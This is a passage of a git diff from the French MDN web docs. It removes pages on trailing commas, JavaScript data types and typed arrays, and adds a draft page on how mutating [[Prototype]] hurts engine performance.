-}
-
-var obj = {
-  un(a,) {},
-  deux(a, b,) {},
-};
-
- -

Appels de fonctions

- -

Pour chacune des deux paires d'appels qui suivent, les deux appels sont équivalents entre eux :

- -
f(p);
-f(p,);
-
-Math.max(10, 20);
-Math.max(10, 20,);
-
- -

Virgules finales non-autorisées

- -

Les définitions de paramètres ou les appels de fonctions qui ne contiennent qu'une seule virgule lèveront une exception {{Jsxref("SyntaxError")}}. Par ailleurs, on ne peut pas utiliser de virgule finale avec les paramètres du reste :

- -
function f(,) {} // SyntaxError: missing formal parameter
-(,) => {};       // SyntaxError: expected expression, got ','
-f(,)             // SyntaxError: expected expression, got ','
-
-function f(...p,) {} // SyntaxError: parameter after rest parameter
-(...p,) => {}        // SyntaxError: expected closing parenthesis, got ','
-
- -

Les virgules finales et la décomposition

- -

On peut aussi utiliser une virgule finale dans l'opérande gauche lorsqu'on utilise l'affectation par décomposition :

- -
// Décomposition d'un tableau avec
-// une virgule finale
-[a, b,] = [1, 2];
-
-// Décomposition d'un objet avec une
-// virgule finale
-var o = {
-  p: 42,
-  q: true,
-};
-var {p, q,} = o;
-
- -

Là encore, si on utilise un élément du reste, une exception {{jsxref("SyntaxError")}} sera levée :

- -
var [a, ...b,] = [1, 2, 3];
-// SyntaxError: rest element may not have a trailing comma
- -

Les virgules finales en JSON

- -

L'utilisation des virgules finales dans les objets a été introduite avec ECMAScript 5. Toutefois, le format JSON est basé sur la syntaxe JavaScript antérieure à ES5 et les virgules finales sont donc interdites en JSON.

- -

Les deux lignes suivantes lèveront une exception {{jsxref("SyntaxError")}} :

- -
JSON.parse('[1, 2, 3, 4, ]');
-JSON.parse('{"foo" : 1, }');
-// SyntaxError JSON.parse: unexpected character
-// at line 1 column 14 of the JSON data
-
- -

Pour analyser le JSON correctement, on évitera les virgules finales :

- -
JSON.parse('[1, 2, 3, 4 ]');
-JSON.parse('{"foo" : 1 }');
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES5.1')}}{{Spec2('ES5.1')}}Ajout des virgules finales pour les littéraux objets.
{{SpecName('ES6')}}{{Spec2('ES6')}}Aucune modification.
{{SpecName('ES2017')}}{{Spec2('ES2017')}}Ajout des virgules finales à la liste des arguments d'une fonction (déclaration et appels).
{{SpecName('ESDraft')}}{{Spec2('ESDraft')}}ES2017 added trailing function commas.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.grammar.trailing_commas")}}

- -

Voir aussi

- - diff --git "a/files/fr/web/javascript/structures_de_donn\303\251es/index.html" "b/files/fr/web/javascript/structures_de_donn\303\251es/index.html" deleted file mode 100644 index 1b605a9fc7..0000000000 --- "a/files/fr/web/javascript/structures_de_donn\303\251es/index.html" +++ /dev/null @@ -1,319 +0,0 @@ ---- -title: Structures de données -slug: Web/JavaScript/Structures_de_données -tags: - - Débutant - - JavaScript - - Types -translation_of: Web/JavaScript/Data_structures ---- -
{{jsSidebar("More")}}
- -

Les langages de programmation disposent de structures de données natives. Selon les langages, les structures mises à disposition peuvent être différentes. Dans cet article, on listera les structures de données natives en JavaScript. On détaillera leurs propriétés et les façons de les utiliser voire de les combiner. Dans certains cas, on comparera ces structures avec celles d'autres langages.=

- -

Un typage dynamique

- -

JavaScript est un langage dont le typage est faible et dynamique. Cela signifie qu'il n'est pas nécessaire de déclarer le type d'une variable avant de l'utiliser. Le type de la variable sera automatiquement déterminé lorsque le programme sera exécuté. Cela signifie également que la même variable pourra avoir différents types au cours de son existence :

- -
var toto = 42;       // toto est un nombre
-    toto = "machin"; // toto est une chaîne de caractères désormais
-    toto = true;     // et maintenant, toto est un booléen
-
- -

Les types de données

- -

Le dernier standard ECMAScript définit 8 types de données :

- -
    -
  • Sept types de données {{Glossary("Primitive", "primitifs")}}: -
      -
    • {{Glossary("Boolean", "Booléen")}}
      • -
    • {{Glossary("Null")}}
      • -
    • {{Glossary("Undefined")}}
      • -
    • {{Glossary("Number", "Nombre")}}
      • -
    • {{Glossary("BigInt")}} (proposition pour ES2020)
      • -
    • {{Glossary("String", "Chaîne de caractères")}} (String)
      • -
    • {{Glossary("Symbol", "Symbole")}} (type introduit avec ECMAScript 6)
      • -
    -
    • -
  • et le type {{Glossary("Object", "Objet")}}
    • -
- -

Les valeurs primitives

- -

Tous les types, sauf les objets, définissent des valeurs immuables (qu'on ne peut modifier). Ainsi, contrairement au C, les chaînes de caractères sont immuables en JavaScript. Les valeurs immuables pour chacun de ces types sont appelées « valeurs primitives ».

- -

Le type booléen

- -

Un booléen représente le résultat d'une assertion logique et peut avoir deux valeurs : true (pour le vrai logique) et false (pour le faux logique) (voir {{jsxref("Boolean")}} pour plus de détails sur la représentation objet de ce type).

- -

Le type nul

- -

Le type nul ne possède qu'une valeur : null. Voir {{jsxref("null")}} et {{Glossary("Null")}} pour plus d'informations.

- -

Le type indéfini

- -

Une variable à laquelle on n'a pas affecté de valeur vaudra undefined. Voir {{jsxref("undefined")}} et {{Glossary("Undefined")}} pour plus d'informations.

- -

Le type nombre

- -

ECMAScript possède deux types numériques natifs : Number et BigInt (cf. ci-après)

- -

Le type Number est géré pour représenter les nombres : les nombres flottants à précision double, représentés sur 64 bits, selon le format IEEE 754 (les nombres compris entre -(253 -1) et 253 -1). Il n'y a donc pas de type à part pour représenter les nombres entiers. En plus de sa capacité à représenter les nombres décimaux, le type nombre possède trois valeurs symboliques : +Infinity, -Infinity, et {{jsxref("NaN")}} (Not A Number en anglais, qui signifie « n'est pas un nombre »).

- -

Afin de vérifier que des valeurs sont supérieures/inférieures à +/-Infinity, on peut utiliser les constantes {{jsxref("Number.MAX_VALUE")}} et {{jsxref("Number.MIN_VALUE")}}. À partir d'ECMAScript 6, on peut également vérifier si un nombre est/sera compris dans l'intervalle de représentation pour les nombres flottants à précision double en utilisant la méthode {{jsxref("Number.isSafeInteger()")}} ainsi que les valeurs {{jsxref("Number.MAX_SAFE_INTEGER")}} et {{jsxref("Number.MIN_SAFE_INTEGER")}}. En dehors de cet intervalle et pour JavaScript, on considère que les nombres ne sont plus représentés correctement qu'on manipule alors une approximation de la valeur sous forme d'un nombre à virgule flottante à précision double.

- -

Le type nombre possède un seul entier pouvant être représenté de deux façons différentes : 0 qui peut être représenté par -0 et +0. ("0" étant un alias pour +0). En pratique, cela n'a généralement aucun impact et +0 === -0 vaut bien true. Malgré tout, on peut observer certaines différences quand on divise par zéro :

- -
42 / +0
-// Infinity
-
-42 / -0
-// -Infinity
-
- -

Dans la plupart des cas, un nombre représente sa propre valeur, malgré tout les opérateurs binaires peuvent être utilisés pour représenter plusieurs valeurs booléennes grâce à un seul nombre (on parle alors de masque de bits). Ceci est généralement une mauvaise pratique (lisibilité, maintenabilité) bien que ça puisse être utile lorsqu'on souhaite minimiser le nombre de bits qu'on utilise.

- -

Le type BigInt

- -

Le type {{jsxref("BigInt")}} permet de représenter des entiers avec une précision arbitraire. Avec ce type, on peut donc manipuler des entiers plus grands que ceux représentables avec Number. Pour créer un grand entier, on ajoutera un n après l'entier ou on appellera le constructeur {{jsxref("BigInt")}}.

- -

La plus grande valeur représentable avec le type Number est accessible avec la constante {{jsxref("Number.MAX_VALUE")}}. Avec l'apparition de BigInt, on peut représenter et manipuler des entiers plus grands.

- -
const x = 2n ** 53n;
-9007199254740992n;
-const y = x + 1n;
-9007199254740993n
-
- -

À l'instar des nombres classiques, on peut utiliser les opérateurs +,  *, -, ** et %. Un grand entier ne sera pas strictement égal à un nombre mais on pourra avoir une égalité faible.

- -

Un grand entier se comportera comme un nombre lorsqu'il est converti en booléen avec if, ||, &&, Boolean et !.

- -

Il n'est pas possible d'utiliser des grands entiers et des nombres de façon interchangeable. Une exception {{jsxref("TypeError")}} sera déclenchée en cas d'incompatibilité.

- -

Le type chaîne de caractères (String)

- -

Ce type JavaScript est utilisé afin de représenter des données textuelles. C'est un ensemble d'« éléments » de valeurs entières non-signées représentées sur 16 bits. Chaque élément occupe une position au sein de cette chaîne de caractères. Le premier élément est situé à l'indice 0, le deuxième à l'indice 1 et ainsi de suite. La longueur d'une chaîne de caractères correspond au nombre d'éléments qu'elle contient.

- -

À la différence des chaînes de caractères dans le langage C, les chaînes de caractères JavaScript sont immuables. Cela signifie qu'une fois qu'une chaîne est créée, il est impossible de la modifier. En revanche, il est toujours possible de créer une autre chaîne basée sur la première grâce à des opérations. Par exemple :

- -
    -
  • Un fragment de la chaîne originelle en sélectionnant certaines lettres ou en utilisant {{jsxref("String.substr()")}}.
    • -
  • Une concaténation de deux chaînes de caractères en utilisant l'opérateur de concaténation (+) ou {{jsxref("String.concat()")}}.
    • -
- -

Attention à ne pas utiliser les chaînes pour tout et n'importe quoi !

- -

Ça peut être tentant de vouloir utiliser des chaînes afin de représenter des données complexes. En revanche, les avantages de cette méthode ne sont que très superficiels :

- -
    -
  • On peut facilement construire des chaînes complexes grâce à la concaténation.
    • -
  • On peut déboguer rapidement le contenu des chaînes de caractères.
    • -
  • Les chaînes de caractères sont utilisées à de multiples endroits dans beaucoup d'API (champs de saisie, valeurs en stockage local, réponses {{ domxref("XMLHttpRequest") }} avec responseText, etc.).
    • -
- -

En utilisant des conventions, il peut être possible de représenter n'importe quelle donnée sous forme d'une chaîne de caractères, en revanche cela n'est souvent pas la meilleure façon. (Par exemple, avec un séparateur, on pourrait émuler le comportement d'un tableau en « interdisant » que ce séparateur soit utilisé pour éléments, etc. on pourrait ensuite définir un caractère d'échappement, qui serait à son tour inutilisable dans les chaînes : toutes ces pseudo-conventions entraîneront de lourdes conséquences en termes de maintenance.)

- -

En résumé, les chaînes doivent être utilisées pour les données textuelles. Pour des données plus complexes, utilisez une abstraction adéquate et analysez/parsez les chaînes que vous recevez d'autres API.

- -

Le type symbole

- -

Les symboles sont une nouveautés du langage, apportée par ECMAScript 6. Un symbole est une valeur primitive unique et immuable pouvant être utilisée comme clé pour propriété d'un objet (voir ci-après). Dans d'autres langages de programmation, les symboles sont appelés atomes. Pour plus de détails, voir les pages {{Glossary("Symbol","Symbole")}} et le constructeur {{jsxref("Symbol")}} JavaScript.

- -

Les objets

- -

En informatique, un objet est une valeur conservée en mémoire à laquelle on fait référence grâce à un {{Glossary("Identifier", "identifiant")}}.

- -

Propriétés

- -

En JavaScript, les objets peuvent être considérés comme des collections de propriétés. En utilisant un littéral objet, il est possible d'initialiser un ensemble limité de propriétés ; d'autres propriétés peuvent ensuite être ajoutées et/ou retirées. Les valeurs des propriétés peuvent être de n'importe quel type, y compris des objets. Cela permet de construire des structures de données complexes. Les propriétés sont identifiées grâce à une « clé ». Une clé peut être une chaîne de caractères ou un symbole.

- -

Il existe deux types de propriétés qui ont certains attributs : des propriétés de données (data property) et des propriétés d'accesseur.

- -

Propriétés de données

- -

Elles associent une clé avec une valeur et possèdent les attributs suivants :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Attributs d'une propriété de données
AttributTypeDescriptionValeur par défaut
[[Value]]N'importe quelle valeur JavaScriptLa valeur obtenue lorsqu'on accède à la propriété.undefined
[[Writable]]BooléenS'il vaut false, la valeur de la propriété (l'attribut [[Value]]) ne peut être changé.false
[[Enumerable]]BooléenS'il vaut true, la propriété pourra être listée par une boucle for...in. Voir également l'article sur le caractère énumérable des propriétés.false
[[Configurable]]BooléenS'il vaut false, la propriété ne pourra pas être supprimée, elle ne pourra pas être changée en accesseur et les attributs autres que [[Value]] et [[Writable]] ne pourront pas être modifiés.false
- - - - - - - - - - - - - - - - - - - - - - - - - -
Attributes obsolètes (faisaient partie d'ECMAScript 3, renommés avec ECMAScript 5)
AttributTypeDescription
Read-onlyBooléenÉtat symétrique pour l'attribut ES5 [[Writable]].
DontEnumBooléenÉtat symétrique pour l'attribut ES5 [[Enumerable]].
DontDeleteBooléenÉtat symétrique pour l'attribut ES5 [[Configurable]].
- -

Propriétés d'accesseur

- -

Ces propriétés associent une clé avec un ou deux fonctions accesseur et mutateur qui permettent de récupérer ou d'enregistrer une valeur. Elles possèdent les attributs suivants :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Attributs d'une propriété d'accesseur
AttributTypeDescriptionValeur par défaut
[[Get]]Un objet Function ou undefinedLa fonction qui est appelée sans argument afin de récupérer la valeur de la propriété quand on souhaite y accéder. Voir aussi la page sur get.undefined
[[Set]]Un objet Function ou undefinedLa fonction, appelée avec un argument qui contient la valeur qu'on souhaite affecter à la valeur et qui est exécutée à chaque fois qu'on souhaite modifier la valeur. Voir aussi la page sur set.undefined
[[Enumerable]]BooléenS'il vaut true, la propriété sera listée dans les boucles for...in.false
[[Configurable]]BooléenS'il vaut false, la propriété ne pourra pas être supprimée et ne pourra pas être transformée en une propriété de données.false
- -
-

Note :  Les attributs sont généralement utilisés par le moteur JavaScript plutôt qu'explicitement dans les scripts. Il est impossible d'y accéder directement (plus d'informations sur {{jsxref("Object.defineProperty()")}}. C'est pour cela que l'attribut est décrit entre double crochets (comme dans la spécification ECMAScript) plutôt qu'entre crochets simples qui pourraient laisser penser à une propriété « classique ».

-
- -

Les objets « normaux » et les fonctions

- -

Un objet JavaScript est un ensemble de correspondances entre des clés et des valeurs. Les clés sont représentées par des chaînes ou des symboles ({{jsxref("Symbol")}}). Les valeurs peuvent être de n'importe quel type. Grâce à cela, les objets peuvent, naturellement, être utilisés comme tables de hachage.

- -

Les fonctions sont des objets classiques à la seule différence qu'on peut les appeler.

- -

Les dates

- -

Lorsqu'on souhaite représenter des dates, il est tout indiqué d'utiliser le type utilitaire natif Date de JavaScript.

- -

Les collections indexées : les tableaux (Arrays) et les tableaux typés (Typed Arrays)

- -

Les tableaux (ou Arrays en anglais) sont des objets natifs qui permettent d'organiser des valeurs numérotées et qui ont une relation particulière avec la propriété length. De plus, les tableaux héritent de Array.prototype qui permet de bénéficier de plusieurs méthodes pour manipuler les tableaux. Par exemple, indexOf qui permet de rechercher une valeur dans le tableau ou push qui permet d'ajouter un élément au tableau. Les tableaux sont donc indiqués quand on souhaite représenter des listes de valeurs ou d'objets.

- -

Les tableaux typés (Typed Arrays en anglais) ont été ajoutés avec ECMAScript 6 et offrent une vue sous forme d'un tableau pour manipuler des tampons de données binaires. Le tableau qui suit illustre les types de données équivalents en C :

- -

{{page("fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray", "Les_objets_TypedArray", "", 0, 3)}}

- -

Les collections avec clés : Maps, Sets, WeakMaps, WeakSets

- -

Ces structures de données utilisent des clés pour référencer des objets. Elles ont été introduites avec ECMAScript 6. {{jsxref("Set")}} et {{jsxref("WeakSet")}} représentent des ensembles d'objets, {{jsxref("Map")}} et {{jsxref("WeakMap")}} associent une valeur à un objet. Il est possible d'énumérer les valeurs contenues dans un objet Map mais pas dans un objet WeakMap. Les WeakMaps quant à eux permettent certaines optimisations dans la gestion de la mémoire et le travail du ramasse-miettes.

- -

Il est possible d'implémenter les Maps et Sets grâce à ECMAScript 5. Cependant, comme les objets ne peuvent pas être comparés (avec une relation d'ordre par exemple), la complexité obtenue pour rechercher un élément serait nécessairement linéaire. Les implémentations natives (y compris celle des WeakMaps) permettent d'obtenir des performances logarithmiques voire constantes.

- -

Généralement, si on voulait lier des données à un nœud DOM, on pouvait utiliser les attributs data-* ou définir les propriétés à un même l'objet. Malheureusement, cela rendait les données disponibles à n'importe quel script fonctionnant dans le même contexte. Les Maps et WeakMaps permettent de gérer plus simplement une liaison « privée » entre des données et un objet.

- -

Les données structurées : JSON

- -

JSON (JavaScript Object Notation) est un format d'échange de données léger, dérivé de JavaScript et utilisé par plusieurs langages de programmation. JSON permet ainsi de construire des structures de données universelles pouvant être échangées entre programmes. Pour plus d'informations, voir les pages {{Glossary("JSON")}} et {{jsxref("JSON")}}.

- -

Les autres objets de la bibliothèque standard

- -

JavaScript possède une bibliothèque standard d'objets natifs. Veuillez lire la référence pour en savoir plus sur ces objets.

- -

Déterminer le type des objets grâce à l'opérateur typeof

- -

L'opérateur typeof peut vous aider à déterminer le type d'une variable. Pour plus d'informations et sur les cas particuliers, voir la page de la référence sur cet opérateur.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-8', 'Types')}}{{Spec2('ES5.1')}}
{{SpecName('ES2015', '#sec-ecmascript-data-types-and-values', 'ECMAScript Data Types and Values')}}{{Spec2('ES2015')}}Ajout des symboles ({{jsxref("Symbol")}}).
{{SpecName('ESDraft', '#sec-ecmascript-data-types-and-values', 'ECMAScript Data Types and Values')}}{{Spec2('ESDraft')}}
- -

Voir aussi

- - diff --git "a/files/fr/web/javascript/tableaux_typ\303\251s/index.html" "b/files/fr/web/javascript/tableaux_typ\303\251s/index.html" deleted file mode 100644 index 7ecfe6e9a8..0000000000 --- "a/files/fr/web/javascript/tableaux_typ\303\251s/index.html" +++ /dev/null @@ -1,178 +0,0 @@ ---- -title: Les tableaux typés en JavaScript -slug: Web/JavaScript/Tableaux_typés -tags: - - Advanced - - Guide - - JavaScript - - Typed Arrays -translation_of: Web/JavaScript/Typed_arrays ---- -
{{JsSidebar("Advanced")}}
- -

Les tableaux typés JavaScript sont des objets semblables à des tableaux qui permettent d'accéder à des données binaires brutes. Pour rappel, les objets {{jsxref("Array")}} qui représentent des tableaux en JavaScript peuvent être agrandis ou réduits dynamiquement et permettent de stocker n'importe quelle valeur JavaScript. Afin que la manipulation de ces objets soit efficace, le moteur JavaScript applique un certain nombre d'optimisations. Cependant, avec les avancées réalisées (telles que les flux audio et vidéo avec WebRTC et les WebSockets), il devient nécessaire de pouvoir manipuler des données binaires brutes au sein de tableaux typés, c'est pour ça que ces objets ont été introduits.

- -

Ne pas confondre les tableaux typés et les tableaux « classiques » ({{jsxref("Array")}}). En effet, la méthode {{jsxref("Array.isArray()")}} renverra false lorsqu'elle sera utilisée sur un tableau typé. De plus, certaines des méthodes des tableaux « classiques » ne sont pas disponibles pour les tableaux typés (par exemple push et pop).

- -

Tampon de mémoire et vue : l'architecture des tableaux typés

- -

Afin de permettre une meilleure efficacité et une meilleure flexibilité, l'implémentation des tableaux typés JavaScript est séparée entre : les tampons de mémoire (buffers) d'une part et les vues (views) d'autre part. Un tampon de mémoire, implémenté avec l'objet {{jsxref("ArrayBuffer")}}, est un objet qui représente un fragment de données, il n'a pas de format à proprement parler et n'offre aucune fonctionnalité pour accéder à son contenu. Afin d'accéder à la mémoire contenue dans le tampon, on doit utiliser une vue. Une vue fournit un contexte (c'est-à-dire un type de donnée, un emplacement pour le début de la lecture (offset) et un nombre d'éléments ; c'est ce contexte qui permet de définir le tableau typé.

- -

Typed arrays in an ArrayBuffer

- -

ArrayBuffer

- -

Le type {{jsxref("ArrayBuffer")}} est un type de données générique pour représenter un tampon de données de longueur fixe. Le contenu d'un ArrayBuffer ne peut pas être manipulé directement, il faut pour cela créer une vue sous forme d'un tableau typé ou une vue {{jsxref("DataView")}} qui représente le tampon dans un format donné et utiliser cet objet pour lire et écrire du contenu dans le tampon de données.

- -

Les vues sous forme de tableaux typés

- -

Les tableaux typés qui sont les vues sur ces tampons de mémoire possèdent des noms explicites correspondant aux types numériques habituels tels que Int8, Uint32, Float64 et ainsi de suite. Il existe un type de tableau typé spécial, Uint8ClampedArray. Ce type permet de ramener (clamp) les valeurs observées entre 0 et 255. Cela peut notamment être utilisé pour traiter les données d'un canvas par exemple.

- -

{{page("/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray", "Les_objets_TypedArray")}}

- -

DataView

- -

Le type {{jsxref("DataView")}} permet de créer des objets qui seront des interfaces (bas niveau) pour lire/écrire des données dans le tampon de mémoire. Cela peut par exemple être utile lorsqu'on souhaite manipuler différents types de données. Les vues sous forme de tableaux typés suivent le même boutisme (endianness) que la plate-forme. Avec un objet DataView, il est possible de définir l'ordre des octets à considérer (qui sera par défaut du grand boutisme (big-endian) mais qui pourra être défini en petit boutisme (little-endian) dans les différentes méthodes d'accès/écriture).

- -

Les API Web utilisant les tableaux typés

- -
-
FileReader.prototype.readAsArrayBuffer()
-
La méthode FileReader.prototype.readAsArrayBuffer() permet de lire le contenu d'un Blob ou File donné.
-
XMLHttpRequest.prototype.send()
-
XMLHttpRequest et sa méthode send() peuvent désormais être utilisées avec un argument qui est un tableau typé ou un {{jsxref("ArrayBuffer")}}.
-
ImageData.data
-
Un objet du type {{jsxref("Uint8ClampedArray")}} qui représente un tableau unidimensionnel contenant les données de l'image dans l'ordre RGBA, les entiers utilisés sont compris entre 0 et 255 (au sens large).
-
- -

Exemples

- -

Utiliser les vues et les tampons

- -

Tout d'abord, il faut créer un tampon (buffer). Ici, on crée un buffer de 16 octets :

- -
let buffer = new ArrayBuffer(16);
-
- -

Grâce à cette instruction, on dispose désormaits d'un fragment de mémoire dont tous les octets sont pré-initialisés à 0. Si c'est déjà une bonne chose de faite, cela n'a pas grande utilité. On peut déjà confirmer que la longueur du tampon est bien celle spécifiée initialement :

- -
if (buffer.byteLength === 16) {
-  console.log("Oui, il mesure bien 16 octets.");
-} else {
-  console.log("Non, ce n'est pas la bonne taille !");
-}
-
- -

Avant qu'on puisse travailler avec ce tampon, il faut créer une vue. Ici, on crée une vue qui traite le tampon comme un tableau d'entiers signés représentés sur 32 bits :

- -
let int32View = new Int32Array(buffer);
-
- -

Désormais, on peut accéder aux éléments du tableau typé comme avec un tableau classique :

- -
for (let i = 0; i < int32View.length; i++) {
-  int32View[i] = i * 2;
-}
-
- -

Ce fragment de code permet de remplir les 4 éléments du tableau (4 éléments faisant chacun 4 octets, ce qui remplit les 16 octets du tableau) avec les valeurs 0, 2, 4, et 6.

- -

Plusieurs vues sur les mêmes données

- -

On commence à avoir des cas d'utilisation intéressants quand on peut créer plusieurs vues sur les mêmes données. Ainsi, en utilisant le code précédent, on peut continuer avec :

- -
let int16View = new Int16Array(buffer);
-
-for (let i = 0; i < int16View.length; i++) {
-  console.log("Élément " + i + " : " + int16View[i]);
-}
-
- -

Ici, on crée une vue pour des éléments sur 16 bits qui partage le même tampon que la vue précédente (qui était une vue avec des éléments sur 32 bits) et on affiche les valeurs contenues dans le tampon sous formes d'entiers représentés sur 16 bits. Le résultat obtenu est ici 0, 0, 2, 0, 4, 0, 6, 0.

- -

On peut aller encore plus loin, par exemple :

- -
int16View[0] = 32;
-console.log("L'élément 0 du tableau 32 bits est désormais " + int32View[0]);
-
- -

Le résultat obtenu sera "L'élément 0 du tableau 32 bits est désormais 32". Autrement dit, les deux tableaux typés construits ne sont que des vues sur le même tampon de données. Ce genre de manipulation peut être effectuée avec n'importe quel type de vue.

- -

Manipuler des structures de données complexes

- -

En combinant un même tampon et plusieurs vue de différents types, chacune commençant à un endroit différent dans le tampon, il est possible d'interagir avec des données qui représentent des objets contenant plusieurs types de données. Cela permet entre autres d'intéragir avec des structures de données complexes telles que WebGL, des fichiers de données, des structures C (notamment avec js-ctypes).

- -

Si on a cette structure C :

- -
struct uneStruct {
-  unsigned long id;
-  char nom_utilisateur[16];
-  float montant;
-};
- -

On peut réceptionner les données d'un tampon qui contiendrait des objets de ce type grâce à:

- -
let buffer = new ArrayBuffer(24);
-
-// ... on lit les données dans le tampon ...
-
-let vueId = new Uint32Array(buffer, 0, 1);
-let vueNomUtilisateur = new Uint8Array(buffer, 4, 16);
-let vueMontant = new Float32Array(buffer, 20, 1);
- -

On peut ensuite accéder au montant lié à un utilisateur, par exemple, avec vueMontant[0].

- -
Note : L'alignement des structures de données dans une structure C dépend de la plate-forme. Il est donc nécessaire de prendre des précautions quant au format attendu.
- -

Convertir un tableau typé en un tableau normal

- -

Dans certains cas d'utilisation, après avoir traité un tableau typé, il peut être utile de convertir le tableau typé en un tableau normal ({{jsxref("Array")}}) afin de bénificier des propriétés du prototype d'Array. Pour cela, on peut utiliser la méthode {{jsxref("Array.from")}}. Si Array.from() n'est pas disponible, on peut effectuer cette conversion de la façon suivante :

- -
let tableauTypé = new Uint8Array([1, 2, 3, 4]),
-    tableauNormal = Array.prototype.slice.call(tableauTypé);
-tableauNormal.length === 4;
-tableauNormal.constructor === Array;
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée par ECMAScript 2015.
{{SpecName('ES2015', '#sec-typedarray-objects', 'TypedArray Objects')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-typedarray-objects', 'TypedArray Objects')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Int8Array")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/the_performance_hazards_of_prototype_mutation/index.html b/files/fr/web/javascript/the_performance_hazards_of_prototype_mutation/index.html new file mode 100644 index 0000000000..288241297c --- /dev/null +++ b/files/fr/web/javascript/the_performance_hazards_of_prototype_mutation/index.html @@ -0,0 +1,139 @@ +--- +title: 'Performance : les dangers liés à la modification de [[Prototype]' +slug: Web/JavaScript/Performance_les_dangers_liés_à_la_modification_de_Prototype +tags: + - JavaScript + - Performance +translation_of: 'Web/JavaScript/The_performance_hazards_of__[[Prototype]]_mutation' +--- +
{{draft}}
+ +

Chaque objet JavaScript possède un prototype (que nous désignerons par la suite par [[Prototype]], la notation utilisée par la spécification et les implémentations). Lorsqu'on recherche des propriétés sur un objet, on consulte d'abord cet objet puis on analyse son prototype (on « remonte la chaîne ») et ensuite le prototype de ce dernier et ainsi de suite jusqu'à trouver la propriété en question ou jusqu'à ce que la chaîne soit terminée. Cette chaîne est particulièrement utile pour émuler l'héritage entre objets.

+ +

ECMAScript 6 introduit certaines méthode pour modifier [[Prototype]]. Cette flexibilité a un coût : la dégradation significative des performances. Modifier [[Prototype]] impacte négativement les performances pour tous les moteurs JavaScript modernes. Dans cet article, nous expliquerons pourquoi et nous verrons les alternatives à privilégier.

+ +

De l'optimisation des accès aux propriétés dans les moteurs JavaScript

+ +

Les objets sont des tables de hachage, ainsi, en théorie (et en pratique) l'accès à une propriété se fait en temps constant. En revanche, ce « temps constant » peut se décomposer en milliers d'instructions machine. Heureusement, les objets et les propriétés sont souvent « prédictibles » et dans ces cas, la structure sous-jacente peut également être prédictible. Les compilateurs à la volée (ou JIT pour Just In Time) reposent sur ce constat pour rendre les accès plus rapides.

+ +

L'optimisation des moteurs s'applique grâce à l'ordre selon lequel les propriétés sont ajoutées aux objets. La plupart des propriétés ajoutées aux objets sont ajoutés dans un ordre semblable (exception faite des accès effectués sous la forme obj[val] où val est une valeur dynamique non constante).

+ +
function Landmark(lat, lon, desc) {
+  this.location = { lat: lat, long: lon };
+  this.description = desc;
+}
+var lm1 = new Landmark(-90, 0, "South Pole");
+var lm2 = new Landmark(-24.3756466, -128.311018, "Pitcairn Islands");
+ +

Dans cet exemple, chaque Landmark possède les propriétés location et description, dans cet ordre. Chaque objet location représentant l'emplacement enregistrera la latitude puis la longitude, dans cet ordre. Le code qui suit pourrait supprimer une propriété mais comme c'est peu probable, les moteurs peuvent être amenés à produire du code non optimal pour ces cas de figure. Pour SpiderMonkey, le moteur JavaScript de Firefox, l'ordre spécifique des propriétés (et de certains de leurs aspects en dehors de leurs valeurs) est appelé une forme (le moteur V8, utilisé par Chrome, intitule ce concept structure ID). Si deux objets partagent la même forme, leurs propriétés seront stockées de façon identique.

+ +

À l'intérieur des moteurs, on retrouve donc une version C++ semblable à celle-ci (simplifiée ici) :

+ +
struct Property {
+  Property* prev;     // null si c'est la première propriété
+  String name;        // le nom de la propriété
+  unsigned int index; // l'index de la valeur dans le stockage
+};
+using Shape = Property*;
+struct Object {
+  Shape shape;
+  Value* properties;
+  Object* prototype;
+};
+ +

Avec ces exemples, voici à quoi correspondraient diverses expressions JavaScript basées sur le code ci-dessus, une fois traduites en C++ :

+ +
lm1->properties[0]; // loc1.location
+lm1->properties[1]; // loc1.description
+lm2->properties[0].toObject()->properties[1]; // loc2.location.long
+ +

Si un moteur connaît la forme d'un objet, il pourra présupposer la position des index pour toutes les propriétés de l'objet. Ainsi, quand on souhaite accéder à une propriété donnée, il suffit de quelques accès indirects par pointeur. Le code machine peut facilement vérifier si un objet a une forme donnée. Si c'est le cas, on utilisera la version rapide et sinon on utilisera la méthode lente.

+ +

L'optimisation naïve des propriétés héritées

+ +

La plupart des propriétés ne sont pas rattachées directement aux objets. Il faut souvent passer par la chaîne de prototypes. On ajoute donc quelques « sauts » via le champ prototype pour atterrir sur l'objet qui contient la propriété. Pour obtenir une optimisation correcte, il faut vérifier qu'aucun objet de la chaîne de prototypes n'a cette propriété. Autrement dit, à chaque saut, il faut vérifier la forme de l'objet.

+ +
var d = new Date();
+d.toDateString(); // Date.prototype.toDateString
+
+function Pair(x, y) { this.x = x; this.y = y; }
+Pair.prototype.sum = function() { return this.x + this.y; };
+
+var p = new Pair(3, 7);
+p.sum(); // Pair.prototype.sum
+ +

Dans la plupart des cas, les moteurs utilisent cette approche rapide. Toutefois, lorsque les performances jouent un rôle déterminant, cette approche n'est pas suffisante.

+ +

L'optimisation intelligente des propriétés héritées

+ +

Lors des accès prédictibles, on trouve généralement la propriété en un nombre constant de sauts le long de la chaîne. Les objets de chaîne n'acquièrent généralement pas de nouvelle propriétés et l'objet final n'est généralement pas affecté par une suppression de propriétés. Enfin, la modification de [[Prototype]] est rare.  Ces hypothèses sont nécessaires pour éviter de « sauter » sur chacun des prototypes. Les différents moteurs optent pour différentes approches afin d'optimiser les propriétés héritées de façon intelligente.

+ +
+
La forme de l'objet final qui contient la propriété héritée peut être vérifiée.
+
